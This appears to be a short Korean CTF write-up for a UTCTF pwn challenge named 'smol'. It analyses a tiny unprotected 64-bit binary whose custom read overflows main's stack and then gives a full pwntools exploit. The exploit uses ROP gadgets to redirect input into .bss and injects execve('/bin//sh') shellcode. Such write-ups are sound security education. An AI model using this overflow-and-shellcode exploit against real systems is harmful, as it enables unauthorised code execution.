보호기법
64bit 환경에 보호기법은 전부 걸려있지 않다.
바이너리 분석
바이너리 자체가 매우 작은데, 정의된 함수가 _start
, main
, _read
단 세 개로 구성되어 있다.
main
main에서는 간단하게 read
함수를 호출한다.
그런데 read
함수가 실제 read
대로 작동하는 것은 아니고, 새롭게 정의 되어 있는 함수이다.
read
함수는 실제로 _read
라는 함수로 호출이 되는 것을 볼 수 있다.
_read
_read
함수에서는 sys_read
를 통해 입력을 진행하는데, buf 인자로 main함수 지역변수인 fd의 주소가 들어온다.
Vulnerability
취약점은 BOF가 존재한다.
main 함수 지역변수에 0x200만큼 데이터를 덮어쓸 수 있기 때문에 main stack에서 Overflow가 발생하게 된다.
조금 더 자세하게 보자.
디버거를 붙여서 살펴봤을 때, _read
함수에서 syscall을 호출할 때 buf에 0x200만큼 쓰는 것을 볼 수 있다. 해당 buf는 main 지역변수인 fd이기 때문에 main에서 Overflow가 터지고
실제로 위 사진처럼 main함수가 끝날 때 RET을 덮어쓸 수 있게된다.
syscall이 있고 BOF가 된다는 점에서 SROP를 할 수 있겠지만 NX-bit가 disabled되어있기 때문에 shellcode를 덮어쓰는 방식으로 Exploit을 진행했다.
Exploit Code
from pwn import *
server = 1
if server:
p = remote("pwn.utctf.live", 9998)
else :
p = process("./smol")
bss = 0x402000 + 0x500
pop_rbp = 0x0000000000401021
lea_rdi_prbp = 0x0000000000401015
pay = b''
pay += b'A'*0x10
pay += p64(pop_rbp)
pay += p64(bss)
pay += p64(lea_rdi_prbp)
p.send(pay)
sleep(0.1)
p.send(p64(bss+0x20)*3 + b'\x90'*0x10 + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
p.interactive()
Flag
utflag
Uploaded by Notion2Tistory v1.1.0